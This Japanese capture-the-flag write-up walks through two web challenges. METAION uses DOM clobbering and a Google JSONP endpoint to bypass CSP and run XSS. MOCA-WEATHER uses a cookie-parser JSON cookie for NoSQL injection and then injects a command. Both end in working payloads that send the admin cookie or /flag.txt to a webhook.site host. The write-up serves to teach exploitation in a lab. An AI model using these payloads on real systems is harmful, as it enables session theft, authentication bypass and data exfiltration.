7/20 - 7/21という日程で開催された。BunkyoWesternsで参加して1位🎉 上位5チームはいくらかの旅費支援付き*1で、イタリアはピネート*2で9月に開催される決勝大会へ招待されるらしい。ハッカーの集まるキャンプだとか、テントのスペースが提供される(ただし、場所だけでテントは提供されない)とかいった記述が見え、これが一般名詞としてのセキュリティキャンプかと思う。
今回使われていたプラットフォームは若干使いづらかったものの、問題自体は、少なくとも私がチェックしていたRAAS, METAION, MOCA-WEATHERに関しては面白かった。Gluglu Documentsというブラックボックス問は、我々は非想定と思われる解法で解けたものの、想定されていたと思われる流れはエスパーに見えあまり好みでない。使うテクニックは面白そうだが。
リンク:
[Web 400] METAION (5 solves)
Can you exit the maze?
To solve this challenge you will need to know the domain: f1b9224a5addd56a2b9c24224f66c48b6a93d5a1 PORT: 5000
添付ファイル: metaion.zip
問題サーバは全チーム共有ではなく、各チームで隔離されたインスタンスを利用できるようになっていた。贅沢だ。とりあえず、与えられたソースコードを使ってローカルでサービスを立ち上げる。トップページは次の通りで、LaTeXでメモを書けるアプリだという。
サーバ側のソースコードを見ていく。/render
でおそらくメモの描画が行われるのだろうが、クエリパラメータから与えられた数式を描画する前に、サーバ側でDOMPurifyを使いヤバそうな要素や属性を削除している。ALLOWED_TAGS
オプションが指定されており、a
と p
しか使えないことがわかる。
ほか、/report
というAPIもあるけれども、その処理を見るにadmin botへURLを報告するためのものなのだろうと考える。https://
もしくは http://
から始まっているかチェックされており、どんなドメイン名でもアクセスしてくれるが、javascript:
のような別のスキームは使えないとわかる。
const express = require('express') const path = require('path'); const createDOMPurify = require('dompurify'); const { JSDOM } = require('jsdom'); const app = express() const port = 5000 app.set('view engine', 'ejs'); app.use(function(req, res, next) { res.setHeader("Content-Security-Policy", "script-src 'unsafe-inline' https://khm0.googleapis.com/ https://cdn.jsdelivr.net/npm/marked@4.0.12/marked.min.js https://cdn.jsdelivr.net/npm/texme@1.2.2 https://cdn.jsdelivr.net/npm/mathjax@3.2.0/es5/tex-mml-chtml.js") res.setHeader("X-Frame-Options","DENY") next(); }); app.get('/', (req, res) => { res.sendFile(path.join(__dirname, '/static/index.html')); }) app.get('/euler', (req, res) => { res.sendFile(path.join(__dirname, '/static/euler.html')); }) app.get('/render', (req, res) => { if(typeof req.query.formula === "string"){ const window = new JSDOM('').window; const DOMPurify = createDOMPurify(window); const clean = DOMPurify.sanitize(req.query.formula,{ALLOWED_TAGS: ['a','p']}); res.setHeader("Content-Type","text/html; charset=utf-8") res.render('../static/render',{formula: clean}); }else{ res.sendFile(path.join(__dirname, '/static/error.html')); } }) app.get('/report', (req, res) => { const url = req.query.url if(typeof url === "string" && (url.startsWith("https://") || url.startsWith("http://"))){ fetch("http://metaion-admin:3000/report_to_admin", { "method":"POST", "headers":{ "Content-Type":"application/json" }, body:JSON.stringify({ "url": url }) }).then(e=>console.log(e.text)) res.json({"message":"url reported"}) }else{ res.sendFile(path.join(__dirname, '/static/error.html')); } }) app.listen(port, () => { console.log(`Metaion listening on port ${port}`) })
/report
から叩かれている metaion-admin
のコードは次の通り。metaion-backend
、つまり先ほどのJSコードが動いているコンテナを対象にフラグを含んだCookieを設定し、ユーザから与えられたURLにアクセスしていることがわかる。
const express = require('express'); const puppeteer = require('puppeteer'); const app = express(); app.use(express.json()); const port = 3000; app.post('/report_to_admin', async (req, res) => { try { const url = req.body.url console.log(url) // Launch Puppeteer const browser = await puppeteer.launch({ headless: true, args: ['--no-sandbox'] } ); const page = await browser.newPage(); // Visit Backend const flag_cookie = { name: 'flag', value: process.env.FLAG, path:'/', domain: 'metaion-backend', // Adjust this to match the domain httpOnly: false, secure: false, sameSite: 'Strict' }; await page.setCookie(flag_cookie) await page.goto(url); await new Promise(r => setTimeout(r, 1500)); await browser.close(); res.status(201).send('Done'); } catch (error) { console.error('Error', error); res.status(500).send('Something went wrong'); } }); app.listen(port, () => { console.log(`Admin is running at http://localhost:${port}`); });
さて、数式を描画してくれる /render
だけれども、このHTMLは次の通り。texmeというライブラリを使って描画するらしい。ただJSのライブラリを読み込んでいるだけに見えるけれども、texmeは読み込むだけで数式をいい感じに描画してくれるようだ。
<html> <head> <script src="https://cdn.jsdelivr.net/npm/texme@1.2.2"></script> </head> <body> <textarea> # Welcome to this fancy site You can view, **math notes** using latex! # How can i do such thing? It's easy you can just navigate through the site # Is this a crypto challenge? Fortunately for you **absolutely not** </textarea> </body> </html>
たとえば、/render?formula=$$1%2b1=みそスープ$$
で次のように描画される。
さて、DOMPurifyで色々潰されている中で、/render
でXSSはできるだろうか。a
と p
という要素は使えること、そしてtexmeという便利なライブラリが使われていることに着目する。DOMPurifyを通しているとはいえ、texmeが数式を描画するのはその後だから、texme側に脆弱性等があればこのサニタイズは無駄になる。たとえばDOM Clobberingのようなことはでき、またできたとしてtexmeにおいてそれは有効だろうか。
まず、DOM Clobberingは容易にできる。/render?formula=<a%20id=a><a%20id=a%20name=b%20href=//example.com>a</a></a>
のように a
要素を使うことで、この例では a.b
にアクセスすると内側の a
要素が返ってくるし、また toString
するとその href
属性(//example.com
)が返ってくる。
では、このDOM Clobberingはどう活用できるか。texmeのソースコードを読むと、このライブラリが読み込まれた際に window.texme
から各種オプションを読み込んでいることがわかる。オプションには色々あるけれども、中でも markdownURL
と MathJaxURL
はそれぞれMarkdownやTeXの描画に使われるライブラリのURLを指定するものであり、これらを書き換えることで、我々攻撃者がホストするJSコードを読み込ませることができるのではないかと考える。
試しに /render?formula=%3Ca%20id=texme%3E%3Ca%20id=texme%20name=markdownURL%20href=%22//example.com%22%3Ehoge%3C/a%3E%3C/a%3E
で markdownURL
として //example.com
を設定してみる。すると、以下のようにCSPによって読み込みが弾かれたというエラーが発生した。なるほど、一応オプションの書き換えは成功しているらしい。
今回設定されているCSPは次の通り。この制限の範囲内で任意のJSコードを実行できるようにしたい。ほとんどの項目は細かくファイルが指定されているけれども、なぜか https://khm0.googleapis.com/
だけはオリジンで指定されているのが気になる。これはググった限りではGoogle Mapsに関連するものらしいが、なぜ指定されているのだろうか。
Content-Security-Policy: script-src 'unsafe-inline' https://khm0.googleapis.com/ https://cdn.jsdelivr.net/npm/marked@4.0.12/marked.min.js https://cdn.jsdelivr.net/npm/texme@1.2.2 https://cdn.jsdelivr.net/npm/mathjax@3.2.0/es5/tex-mml-chtml.js
khm0.googleapis.com
で検索しても、別にこれはユーザがアップロードしたコンテンツがホストされるドメインではなさそうだし、特に有用なライブラリ等がここでホストされているわけでもなさそうだ。使い方としては /kh?v=203&x=0&y=0&z=0
のような謎のAPIを叩いているものしか見つからない。ここでなにかできないかと考え、JSONPでないかと疑った。
試しに &callback=alert(123),
を付け足してみると、以下のようなレスポンスが返ってきた。JSONPのコールバックに使える関数名としては正しくないようだけれども、ちゃんと alert(123),
を含んでおり、JSコードとして妥当なものが返ってきている。これは使えそうだ。
// API callback alert(123),({ "error": { "code": 400, "message": "Invalid JSONP callback name: 'alert(123),'; only alphabet, number, '_', '$', '.', '[' and ']' are allowed.", "status": "INVALID_ARGUMENT" } } );
/render?formula=<a%20id=texme><a%20id=texme%20name=markdownURL%20href="https://khm0.googleapis.com/kh?v=203%26x=0%26y=0%26z=0%26callback=alert(123),">hoge</a></a>
にアクセスすると、alert
が表示された。無事にCSPバイパスができたらしい。
あとはやるだけだ。立ち上げた問題サーバ上で次のようなJSコードを実行し、URLを通報する。これでフラグが得られた。
location.href = '/report?url=' + encodeURIComponent('http://f1b9224a5addd56a2b9c24224f66c48b6a93d5a1:5000/render?formula=%3Ca%20id=texme%3E%3Ca%20id=texme%20name=markdownURL%20href=%22https://khm0.googleapis.com/kh?v=203%26x=0%26y=0%26z=0%26callback=location.href=[`https://webhook.site/…?`,document.cookie],%22%3Ehoge%3C/a%3E%3C/a%3E')
PWNX{f8ec919918656b48a3efb64da4f9538537166992c400e4085706735e7eef413e}
[Web 450] MOCA-WEATHER (3 solves)
Have you ever wondered what the weather is like in Pescara?
PORT: 3000
添付ファイル: MOCA-weather.zip
このアプリについて
ユーザ登録を行うと、デバイスのホスト名、ユーザ名、ポート番号の情報を登録できるようになる。デバイスを登録するとランダムに生成されたSSHの公開鍵が表示されるけれども、これをデバイス側の .ssh/authorized_keys
に登録してやることで、アプリが自動的にSSHでデバイスにログインし、1分ごとにCPUの温度、気温、湿度を取得してWebから確認できるようにしてくれるらしい。
node-cronで登録されているタスクは次の通り。まずSFTPで agent
なる実行ファイルとデバイスの設定ファイル(JSON)を /tmp
にアップロードした上で、次にSSHで接続して /tmp/agent
を実行した結果を取得している。この /tmp/agent
中で気温や湿度等を取得しているのだろう。
const measure_task = async () => { const devices = await models.Device.find() console.log(`Measuring ${devices.length} devices`) devices.forEach(async device => { // Uploading agent and configuration const sftp = new SFTPClient(); try { await sftp.connect({ host: device.host, port: device.port, username: device.username, privateKey: device.privkey }) // upload agent await sftp.put('/app/agent/agent', '/tmp/agent'); await sftp.chmod('/tmp/agent', 0o777) // upload configuration const data = Buffer.from(JSON.stringify(device.configuration)) await sftp.put(data, '/tmp/config.json'); await sftp.end(); } catch (err) { console.error(err.message); // if error occurs, remove the device and skip it await models.Device.deleteOne({ deviceId: device.deviceId }); return; } console.log("Correctly uploaded agent and configuration") const conn = new SSHClient(); conn.on('ready', () => { conn.exec('/tmp/agent', (err, stream) => { if (err) { return; } stream.on('close', (code, signal) => { conn.end(); }) .on('data', async (data) => { try { const measurement = JSON.parse(data); const record = await models.Measure.create({ deviceId: device.deviceId, cpu_temperature: measurement.cpu_temperature, temperature: measurement.temperature, humidity: measurement.humidity }) } catch (err) { console.error(err.message); } }).stderr.on('data', (data) => { console.error('STDERR: ' + data); }); }); }).connect({ host: device.host, port: device.port, username: device.username, privateKey: device.privkey, }); }) } cron.schedule('* * * * *', measure_task);
ソースコードとともに添付されている Dockerfile
によれば agent/agent
にその実行ファイルがあるらしいけれども、なぜか添付されていない。このためにローカルではDockerイメージをビルドできていなかった。仕方がないので、適当にマシンを用意して問題サーバにデバイスとして登録し、/tmp/agent
にアップロードされたものを見ることにする。
RUN mkdir agent COPY agent/agent ./agent/agent
得られた agent
は次のようなPythonスクリプトだった。config.json
にCPU温度、気温、湿度をそれぞれ取得可能な実行ファイルへのパスが含まれており、これらを実行することで情報を取得しているらしい。
#!/usr/bin/env python3 import json import subprocess config = {} default_values = { "cpu_temperature": 35.0, "temperature": 25.0, "humidity": 80.0 } try: with open("/tmp/config.json", 'r') as f: config = json.load(f) except Exception: config = default_values if config == {}: config = default_values measurement = {} keys = ["cpu_temperature", "temperature", "humidity"] for k in keys: cmd = config.get(k) measurement[k] = float(subprocess.check_output(cmd, shell=True).decode()) print(json.dumps(measurement))
ところで、フラグはどこにあるだろうか。docker-compose.yml
を見てみると、Webサーバやそこから使われているMongoDBのほかに、device
というサービスが存在していることがわかる。
device: build: ./device restart: always environment: - USER_NAME=target - PUBLIC_KEY_FILE=/home/target/.ssh/authorized_keys volumes: - ./keys/id_rsa.pub:/home/target/.ssh/authorized_keys:ro
Dockerfile
を見るに、この device
がフラグを持っているらしい。
FROM linuxserver/openssh-server RUN apk update && apk add python3 RUN useradd -ms /bin/bash target COPY flag.txt /flag.txt RUN chown root:root /flag.txt RUN chmod 444 /flag.txt COPY ./cpu_temp /usr/bin/cpu_temp COPY ./humidity /usr/bin/humidity COPY ./temp /usr/bin/temp RUN chmod +x /usr/bin/cpu_temp /usr/bin/humidity /usr/bin/temp
MongoDBへの接続時にDBの初期化が行われているのだけれども、ここで device
が監視対象のデバイスとして登録されている。device
について configuration
で設定されている各バイナリのパスを、なんとかしてフラグを外部に持ち出すOSコマンドに書き換えられないか。
// Connect to MongoDB mongoose.connect(process.env.MONGO_URI, { useNewUrlParser: true, useUnifiedTopology: true }) .then(async () => { console.log('MongoDB connected') // Create target user const user_count = await models.User.countDocuments(); if (user_count === 0) { const pubkey = fs.readFileSync('keys/id_rsa.pub', 'utf-8'); const privkey = fs.readFileSync('keys/id_rsa', 'utf-8'); const user = await models.User.create({ username: 'target', password: 'password' }) // Add relative device const device = await models.Device.create({ userId: user.userId, name: 'target', host: 'device', port: '2222', username: 'target', pubkey, privkey, configuration : { cpu_temperature: '/usr/bin/cpu_temp', temperature: '/usr/bin/temp', humidity: '/usr/bin/humidity' } }) const session = await models.Session.create({ userId: user.userId, }) console.log(`User ${user.userId} created`); console.log(`Device ${device.deviceId} created`); console.log(`Session ${session.sessionId} created`) } }) .catch(err => console.error('MongoDB connection error:', err));
cookie-parserの謎仕様
めちゃくちゃ悩んでいたところ、device
を登録しているユーザについて、その作成後に、誰もログインしないはずのユーザなのにわざわざセッションを作成しているのが怪しいのではないかというアイデアがjptomoyaさんから出る。
const user = await models.User.create({ username: 'target', password: 'password' }) // … const session = await models.Session.create({ userId: user.userId, })
たしかに怪しい。セッション周りは自前で実装されているけれども、セッションIDから対応するユーザIDを引っ張ってくるのは models.Session.findOne({ sessionId: req.cookies.session })
というようにMongoDBを叩いて行われている。ここで req.cookies.session
に文字列でなく {"$ne": ""}
というようなオブジェクトを入れて、NoSQL Injectionを引き起こすことはできないだろうか。
app.use((req, res, next) => { if (!req.cookies.session) { return res.redirect('/login'); } models.Session.findOne({ sessionId: req.cookies.session }) .then(session => { models.User.findOne({ userId: session.userId }).then(user => { req.user = user; next(); }) }) .catch(err => { res.redirect('/login'); }) })
コードから、Cookieのパースにはcookie-parserが使われているとわかっている。req.cookies.session
にオブジェクトを含ませることのできるような処理がないかコードを読んでいると、あった。JSONCookie
なる機能があり、Cookieの値として j:
から始まる文字列を指定することで、3文字目以降をJSONとしてパースしたものをその値として入れてくれるらしい。cookie-parserにこんな機能があったとは知らなかった。
j:{"$ne":""}
をCookieの session
に入れてみる。これでセッションIDに対応するユーザIDの取得時に models.Session.findOne({ sessionId: {"$ne":""} })
というような処理が走るはずだ。やってみると、次のように target
としてログインでき、またデバイスの target
のIDも手に入れることができた。
$ curl -i http://…/devices -H 'Cookie: session=j:{"$ne":""}' ... <div class="backdrop-blur-sm bg-slate-800/85 shadow-md rounded-md px-4 pt-2 pb-4 my-4 mx-2 z-10 w-1/4 flex flex-col items-center justify-center"> <h2 class="text-2xl font-semibold text-center w-full text-slate-100"> target </h2> <div class="border-b border-slate-300 w-full my-4"></div> <p class="text-lg text-center"> <p> Username: target </p> <p> Host: 4117cef6922e337f29222521c3f8be0a3fd05272-internal-0 </p> <p> Port: 2222 </p> <a class="inline-block align-baseline font-bold text-md text-secondary hover:text-primary" href="/device/c1c1f954-dd2e-4244-b696-b560b74289fe"> View gathered data </a> </p> </div> ...
あとはやるだけだ。デバイスの設定を書き換えて、/flag.txt
を適当な場所にアップロードするようなOSコマンドが実行されるようにする。
$ curl -i http://…/device/c1c1f954-dd2e-4244-b696-b560b74289fe/config -H 'Cookie: session=j:{"$ne":""}' -d "cpu_temperature=curl+https://webhook.site/…+-F+a=@/flag.txt"
しばらく待つと、指定した場所にフラグがアップロードされた。leetがきつくて読みづらいが、思いやりからこのアプリが作成されたことがわかった。みなさんも定期的な水分補給を心がけましょう。
PWNX{w347h3r_574710n_ju57_70_r3m1nd_y0u_70_574y_hydr473d_dur1n6_7h3_h077357_d4y5}